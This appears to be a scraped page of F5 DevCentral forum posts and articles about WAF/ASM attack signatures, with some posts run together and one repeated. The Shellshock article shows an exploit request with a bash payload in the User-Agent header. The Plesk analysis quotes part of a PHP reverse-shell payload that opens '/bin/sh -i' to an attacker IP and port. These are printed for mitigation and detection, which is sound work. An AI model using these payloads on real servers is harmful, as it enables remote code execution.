F5 CNF/SPK/BNK and etc. support for Custom URL classifications/apps/IPS signatures?
While I played with CNF/SPK/BNK and etc. I didn't see anything in the docks about this https://clouddocs.f5.com/cnfs/robin/latest/ I think it is important feature as if a URL is wrongly classified by Brightcloud DB to be able to add the url to custom URL category as for example to allow it. As shown in https://clouddocs.f5.com/cnfs/aon/latest/cnf-pe-url-categorization.html I think this is somewhere hidden as there is option called "customdb" , so maybe the downloader pod can be configured to pull the custom URL classification. As the irules for CNF do not support "HTTP_REQUEST" and "HTTP_RESPONSE" events as mentioned in https://clouddocs.f5.com/cnfs/openshift/latest/cnf-irule-crd.html this seems important. Outside of that Custom IPS signatures like for the normal AFM will be nice as there is IPS pod I think like the IP intelligence it could connect to external feed list that has the custom signatures (the same for the URL category) https://clouddocs.f5.com/cnfs/robin/latest/cnf-ipi-feedlist-crd.html For the custom apps that PEM uses with iRules ( https://techdocs.f5.com/en-us/bigip-14-1-0/big-ip-policy-enforcement-manager-implementations-14-1-0/creating-custom-classifications.html ) I am just mentioning this but I see less use cases than what I see with custom URL categories and custom IPS signatures. I did write to cnfdocs@f5.com as mentioned in the web documents. Hope they see it and as mentioned ""To provide feedback and help improve this document, please email us at cnfdocs@f5.com. "" 🙂
Custom Attack Signature for Accept Header
Hi Guys, In the past, I worked on an iRule to block specific Accept header patterns, and it was working fine. Now that we have WAF in place, I was wondering if this is something I could achieve using custom signatures instead. The idea is: text/html,application/xhtml+xml,application/xml, - Block text/html,application/xhtml+xml,application/xml - Allow text/html,application/xhtml+xml,application/xml,application/rss+xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 - Allow text/html,application/xhtml+xml,application/xml,text/xml - Allow And similar scenarios with other Accept header. Is this possible to achieve with F5 WAF, and if so, could anyone provide guidance on how to configure this properly? I am currently using in the lab the following costum signature: regex: re2:"/text\/html,application\/xhtml\+xml,application\/xml,/H"; nocase; This works well to block text/html,application/xhtml+xml,application/xml, but the signature also triggers in the cases of 3 and 4, which I want to avoid. Any suggestions or guidance would be appreciated. Thnx.
Question about WAF Enforced with has suggestion Signature
Hello, everyone I have a question about the WAF signature. Recently, I blocked the Ready to be enforced signatures. A few days later, Some of these signatures are in an enforced state, and they have entered a has-suggestion state.(About 30 of them) What is the state of being in an enforced state and at the same time has suggestion? And some of the enforced&has-suggestion signatures are unblocked and there are also staged logs. It's in enforced mode, is this a possible situation? F5 WAF engineer with similar experience, please help me. Thank you very much.
Custom Signature in ASM
I am trying to create a custom signature that detects a number of Nuisance URLs that are being thrown at our site, but am having a few issues with the syntax of the rule. I've read through the ASM syntax articles but appear to be missing something. So basically we are seeing a number of the following type of URLs thrown at us: http://www.website.com/someurlhttp:/ The http in the URI is not something we would normally have so I created a custom signature with the following rule: uricontent:"http"; nocase; objonly; I assigned it to a policy and set it to learn and alarm only but I am not seeing any hits on the signature. What am I missing? Updated: I did have this working using an irule and a string datagroup but am looking at implementing using ASM. Moved from comments for formatting. when HTTP_REQUEST { set uriclass "MalURI[URI::basename [virtual name]]" Check that URI is sanitised set luri [string tolower [HTTP::uri]] if { [class match $luri contains $uriclass] } { HTTP::respond 200 content "Company Name\Naughty Naughty" log local0. "URI is $luri" } }
Custom Signature in ASM
I am trying to create a custom signature that detects a number of Nuisance URLs that are being thrown at our site, but am having a few issues with the syntax of the rule. I've read through the ASM syntax articles but appear to be missing something. So basically we are seeing a number of the following type of URLs thrown at us: http://www.website.com/someurlhttp:/ The http in the URI is not something we would normally have so I created a custom signature with the following rule: uricontent:"http"; nocase; objonly; I assigned it to a policy and set it to learn and alarm only but I am not seeing any hits on the signature. What am I missing? Updated: I did have this working using an irule and a string datagroup but am looking at implementing using ASM. Moved from comments for formatting. when HTTP_REQUEST { set uriclass "MalURI[URI::basename [virtual name]]" Check that URI is sanitised set luri [string tolower [HTTP::uri]] if { [class match $luri contains $uriclass] } { HTTP::respond 200 content "Company Name\Naughty Naughty" log local0. "URI is $luri" } }
Bash Shellshock Mitigation Using ASM Signatures
Update: The signature mentioned in this article have been released as part of an Attack Signature Update. You may head to https://downloads.f5.com to download the file manually, or use the automatic update feature in ASM. This week we've seen new vulnerabilities with massive damage potential come to light – CVE-2014-6271, CVE-2014-6277 and CVE-2014-7169 - named quite appropriately "Shellshock". Background You can find details regarding this bash vulnerability on the Red Hat security blog: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ In a typical exploit, the payload is sent through a header (typically Cookie, Referrer or User-Agent) and takes advantage of the way the web server saves the data in that request to environment variables. A malicious request will attempt to fool the bash parser by sending a payload that will invoke a system command, for instance: GET /home.php HTTP/1.1 Host: example.com User-Agent: () { :;}; /bin/bash -c "ls" The string "() { :;};" means it is a function declaration. The string is followed by various shell commands – in our case it is execution of the "ls" command. Mitigation using F5 ASM Attack Signatures The following signature will catch attempts to exploit this CVE: headercontent:"() {"; This signature is compatible with all BIG-IP versions. To prevent any other potential exploitation attempts via the URL or a parameter, two additional signatures can be used: uricontent:"() {"; objonly; valuecontent:"() {"; norm; Note: The signatures have been updated to catch exploit attempts in all their variations. It is important to note, that all attempts to exploit this vulnerability via HTTP parameters and several known exploits via the HTTP header are already mitigated using existing "command execution" and "predictable resource location" signatures. Exploits via the Cookie header will encounter the "Cookie not RFC-compliant" violation. You need to make sure they are enabled and are not in staging. To protect your application, create those user-defined signatures and associate them with the relevant security policy. Make sure that the signatures are not in staging.Plesk Vulnerability
Recently we’ve witnessed another example of a relatively old and specific vulnerability come to life using a very common and wide spread application. In this case it was the CVE-2012-1823 vulnerability, being exploited using the Plesk admin panel. This vulnerability allows remote code execution by using a bug in the PHP CGI wrapper, which allows injecting CGI options to the executable, as well as piping other shell commands. Plesk is a tool that allows automated deployment and centralized management of various system services such as: Web hosting, DNS and E-Mail. It is a widely used application, popular amongst independent SMB’s. This “out in the wild” code-execution exploit attempts to upload PHP code onto the server, using the aforementioned vulnerability in the CGI module. Code injection is possible thanks to query data being passed unescaped directly to shell. This allows passing options to the CGI binary such as –r (execute code) and –d (define ini). In addition, command line pipe-lining is also possible because the entire argument is declared unquoted: #!/bin/sh exec /dh/cgi-system/php5.cgi $* By simply reviewing the source code of the exploit, no particular sophistication or elaborate attack pattern was found. It is a straight forward attack vector with PHP code in body, and CGI parameters in query. This part of the exploit sets the PHP-CGI flags: As we can see, the –d flag is used to declare some config line directives, and the –n flag to bypass the local php.ini. Then the payload is being sent, which is a PHP page that sets up a shell with a socket:. $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip ='$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;\$error_a = null; \$shell = '/bin/sh -i'; \$daemon = ... Issuing the exploit against an updated ASM version triggered the following signatures: 200004025 - PHP injection attempt ( <? ) 200004038 - PHP injection attempt ( posix_setsid ) 200100310 - "/bin" execution attempt (Parameter) 200100310 - Shell command (sh/ksh/etc) access (Value) 200100330 - PHP-CGI Shell Code Injection (v2) 200002437 - SQL-INJ "if(Expression,value,value)" (Parameter) The PHP and CGI signatures are quite expected, as well as the other command execution ones. As for the SQL-INJ signature, it could be considered a false positive since this attack was not SQL Injection. However, since the format of this signature resembles execution code as well as an SQL query – it is understandable why the PHP code located in the payload has triggered this signature.Mitigating The Apache Struts ClassLoader Manipulation Vulnerabilities Using ASM
Background Recently the F5 security research team has witnessed a series of CVE’s created for the popular Apache Struts platform. From Wikipedia: Apache Struts was an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model–view–controller (MVC) architecture. It was originally created by Craig McClanahan and donated to the Apache Foundation in May, 2000. Formerly located under the Apache Jakarta Project and known as Jakarta Struts, it became a top-level Apache project in 2005. The initial CVE-2014-0094 disclosed a critical vulnerability that allows an attacker to manipulate ClassLoader by using the ‘class’ parameter, which is directly mapped to the getClass() method through the ParametersInterceptor module in the Struts framework. The Apache Struts security bulletin recommended upgrading to Struts 2.3.16.1 to mitigate the vulnerability. Alternatively, users were also able to mitigate this vulnerability using a configuration change on their current Struts installations. The mitigation included adding the following regular expression to the list of disallowed parameters in ParametersInterceptor: '^class\.*' After several weeks, the solution was found to be incomplete, and sparked four new CVE’s: CVE-2014-0112, CVE-2014-0113, CVE-2014-0114 and CVE-2014-0116. Note: During the initial release of this article, CVE-2014-0114 and CVE-2014-0116 were not yet publicly disclosed, and weren't mentioned in this article. The article has now been edited to include mitigation for these CVEs as well. CVE-2014-0112 mentions the ClassLoader vulnerability still existing in parameters, and the security advisory for it suggests a new regular expression to include in the ParametersInterceptor config: (.*\.F5 platform EoSD and Software EoSD is different. Which one need to use?
Hi We use F5 2000s with version 15.1.x From platform EoSD, It's already expired but from software EoSD. it's still available question is Which one should I use? If i use WAF and I believe attack signature will release if EoSD is still available...... question is right now will my attack signature still update? 2 what is different?
